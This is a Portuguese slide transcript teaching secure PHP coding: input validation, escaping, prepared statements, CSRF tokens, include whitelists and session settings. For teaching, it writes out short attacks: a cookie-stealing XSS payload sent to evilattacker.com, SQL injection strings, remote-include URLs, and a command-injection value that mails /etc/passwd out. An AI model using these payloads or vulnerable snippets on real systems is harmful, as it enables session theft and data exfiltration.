escrevendo códigos php seguros
TRANSCRIPT
Introdução
● Príncios de segurança para aplicativos web.● As consequencias de códigos inseguros.● Regras básicas de Segurança.
Vulnerabilidades / Tipos de Ataques
● SQL Injections● XSS● Remote Code Injection● Command Inection● XSRF / CSRF● Sessions● File Uploads
Introdução Segurança
● Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.
Consequências
● DOS (Denial Of Service).● Roubo de informações confidenciais.● Danificar banco de dados.● Roubo de sessão do usuário.● Comprometer a aplicação.
Filtrar dados de Input
● Não se deve confiar nos dados provenientes do usuário.
● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.
Exemplo: filtrando campo numérico<?php
if (isset($_GET["value"])) {
$value = $_GET["value"];
}
else {
$value = false;
}
if (is_numeric($value) && ($value >= 15 && $value <= 20)) {
// ok
}
Exemplo: filtrando campo numérico<?php
$value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT,
array("options" => array(
"min_range" => 15,
"max_range" => 20
)));
if($value) {
// valido
}
filter_input
● FILTER_VALIDATE_BOOLEAN● FILTER_VALIDATE_EMAIL● FILTER_VALIDATE_FLOAT● FILTER_VALIDATE_INT● FILTER_VALIDATE_IP● FILTER_VALIDATE_REGEXP● FILTER_VALIDATE_URL
Filtrando dados de Saída
● Dados de saída devem ser tratados de acordo com o meio.○ HTML○ Javascript○ XML○ SQL
Filtrando dados de Saída
<a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>">
<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?>
</a>
htmlspecialchars()
Caracter Nome Código
< menor que <
> maior que >
& E comercial &
“ aspas duplas "
http://php.net/htmlspecialchars
XSS (Cross-site-scripting)
● É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”.
● Explora a confiança que o usuário tem no site.
XSS (Cross-site-scripting)
● Roubo de cookies e informações de sessão.● Disparar requisições HTTP na sessão do
usuário.● Redirecionar o usuário para sites maliciosos.● Instalar malware
XSS Exemplo - Não Persistente<?php
// Gera resultados baseado em parametro via GET
echo "Você esta buscando por: " . $_GET["query"];
XSS Exemplo - Não Persistente<?php
// Gera resultados baseado em parametro via GET
echo "Você esta buscando por: " . $_GET["query"];
http://example.com/search.php?query=<script>alert("hacked")</script>
XSS Exemplo - Não Persistente<?php
// Gera resultados baseado em parametro via GET
echo "Você esta buscando por: " . $_GET["query"];
http://example.com/search.php?query=<script>alert("hacked")</script>
Você esta buscando por: <script>alert("hacked")</script>
XSS Exemplo - Persistente
$email = "document.write('<iframe src=\”
http://evilattacker.com?cookie=' + document.cookie.escape()\”
height=\”0\” width=\”0\” />')";
E-mail: <?php echo $email; ?>
XSS - Prevenção
● Output Escaping
<?php
// Gera resultados baseado em parametro via GET
echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
SQL Injection
● Permite manipulação de consultas SQL○ passar por controles de acesso e autenticação.○ expor dados escondidos.○ sobrescrita de dados.○ exclusão de dados.○ execução de comandos no S.O.
SQL Injection
' or '1'='1SELECT * FROM users WHERE name ='' OR '1'='1';
' or '1'='1' --SELECT * FROM users WHERE name ='' OR '1'='1' --';
SQL Injection - Protegendo-se<?php
$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name");
$stmt->bindParam(':name', $txtName);
$stmt->execute();
● Suporte:
○ mysqli
○ PDO
SQL Injection - Protegendo-se<?php
$name = mysql_real_escape_string($name);
$sql = "SELECT * FROM users WHERE name ='$name'";
● Usar no caso de extensão padrão do Mysql para PHP
CSRF - Definição
Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.
CSRF - Exemplos de ações
● Alterar a senha do usuário no site● Realizar transferências bancárias● Submissão de formulários
CSRF - Token
<?php
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
$_SESSION['csrfToken'] = $randomtoken;
CSRF - Token
<form>
...
<input type=’hidden’ name=’csrfToken’
value=’<?php echo($_SESSION['csrfTOken']) ?>’ />
...
</form>
CSRF
● O Token CSRF é único por sessão.● Utilize o token em todos formulários
considerados “críticos”.
Remote code injection
● Permite o atacante injetar códigos externos no fluxo de execução do script php.
● Explora:○ include○ require
Remote code injection<?php
include($_GET["page"]);
?>
www.website.com/carrega.php?page=/dir-escondido/senhas.txt
Remote code injection<?php
include($_GET["page"]);
?>
www.website.com/carrega.php?page=/upload-dir/arquivo.php
Remote code injection<?php
include($_GET["page"]);
?>
www.website.com/carrega.php?page=http://hackersite.com/file.inc
Remote code injection - Proteção<?php
$whitelist = array('home', 'about');
if (in_array($_GET['page'], $whitelist)) {
include($_GET['page'].'.php');
} else {
include('home.php');
}
Command Injection
● Permite o atacante injetar códigos shell maliciosos.
● Normalmente quando você usa o input do usuário para criar um comando shell.
Command Injection<?php
echo shell_exec('cat '.$_GET['filename']);
?>
www.website.com/viewfile.php?filename=file.txt;ls
Command Injection<?php
echo shell_exec('cat '. $_GET['filename']);
?>
www.website.com/viewfile.php?filename=file.txt;mail [email protected] </etc/passwd
Command Injection - Proteção<?php
echo shell_exec('cat '. escapeshellarg($_GET['filename']));
OR
echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
Segurança de Sessão
● Flag httponly, php.ini:
session.cookie_httponly = 1
Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.
Segurança de Sessão
● Flag use_only_cookies, php.ini:
session.use_only_cookies = 1
Desabilita a possiblidade de setar o ID da sesssão via GET.
Segurança de Sessão
● Flag cookie_secure, php.ini:
session.cookie_secure = 1
Assegura que o cookie de sessão seja transmitido apenas por conexão segura.
Session hijacking<?php
session_start();
if (isset($_SESSION['HTTP_USER_AGENT'])) {
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) {
/* Prompt for password */
exit;
}
} else {
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
Upload de arquivos - Dicas
Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma
imagem.
Upload de arquivos - Dicas<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Desculpe, são aceitos somente imagens GIF e JPEG\n";
exit;
}
Upload de arquivos - Dicas
Não armazene os arquivos usando o nome original configurado no formulário. Gere um
nome randômico ao salvar.
password_hash()<?php
// geração do hash
$hash = password_hash($senha, PASSWORD_DEFAULT);
// verificando se o hash corresponde
if (password_verify($password, $hash)) {
// Sucesso!
}
else {
// Credenciais Inválidas
}
php.ini
● expose_php = off
HTTP/1.1 200 OKX-Powered-By: PHP/5.3.3Content-type: text/html; charset=UTF-8
php.ini
● disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Perguntas ?
[email protected]://www.douglaspasqua.comtwitter: @dpasqua